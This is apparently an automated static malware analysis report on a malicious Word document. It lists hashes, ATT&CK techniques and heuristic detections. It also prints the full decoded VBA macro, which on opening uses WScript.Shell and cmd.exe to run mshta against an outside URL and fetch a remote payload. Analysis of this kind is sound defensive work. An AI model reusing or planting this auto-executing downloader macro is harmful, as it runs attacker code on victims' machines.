Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca54d82b22c43fed…

MALICIOUS

Office (OLE)

197.0 KB Created: 2018-11-05 16:30:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: d87d3425b2e774a7b0a7db0b45a4a99b SHA-1: 7f098914234fa06d318b129e7a2267ca518514a4 SHA-256: ca54d82b22c43fed5e74686c137f5a2d5e5df1a521e926ef91e54225e92fce05
570 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Mshta T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute upon opening the document. These macros utilize WScript.Shell to construct and execute a command that invokes cmd.exe to run mshta.exe, which then attempts to download a payload from the URL http://51.38.152.69:9001/payments. This indicates a downloader or dropper functionality.

Heuristics 15

  • ClamAV: Doc.Dropper.Agent-7221146-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7221146-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        'Run a shell command, returning the output as a string
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim oShell As Object
        Set oShell = CreateObject("WScript.Shell")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Dim pythonCode As String
        pythonCode = "mshta http://51.38.152.69:9001/payments"
        Dim command As String
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim oShell As Object
        Set oShell = CreateObject("WScript.Shell")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Dim pythonLocation As String
        pythonLocation = "cmd.exe /c"
        Dim pythonCode As String
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
    Private Sub Document_Open()
    ReverseShell
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://51.38.152.69:9001/payments In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1420 bytes
SHA-256: 60fffcc781794ab937ad993c11ffb2f5e32828161d4c80df0a1a2abd4753d324
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'All python code has to be on a single line in order to execute properly.
Public Function ShellRun(sCmd As String) As String

    'Run a shell command, returning the output as a string

    Dim oShell As Object
    Set oShell = CreateObject("WScript.Shell")

    'run command
    Dim oExec As Object
    Dim oOutput As Object
    Set oExec = oShell.exec(sCmd)
    Set oOutput = oExec.StdOut

    'handle the results as they are written to and read from the StdOut object
    Dim s As String
    Dim sLine As String
    While Not oOutput.AtEndOfStream
        sLine = oOutput.ReadLine
        If sLine <> "" Then s = s & sLine & vbCrLf
    Wend

    ShellRun = s

End Function
                    
Sub ReverseShell()

    Dim pythonLocation As String
    pythonLocation = "cmd.exe /c"
    Dim pythonCode As String
    pythonCode = "mshta http://51.38.152.69:9001/payments"
    Dim command As String
    command = pythonLocation + "" + """" + pythonCode + """"
    'MsgBox ShellRun("cmd.exe /c " + command)
    ShellRun ("" + command)

End Sub
Private Sub Document_Open()
ReverseShell
End Sub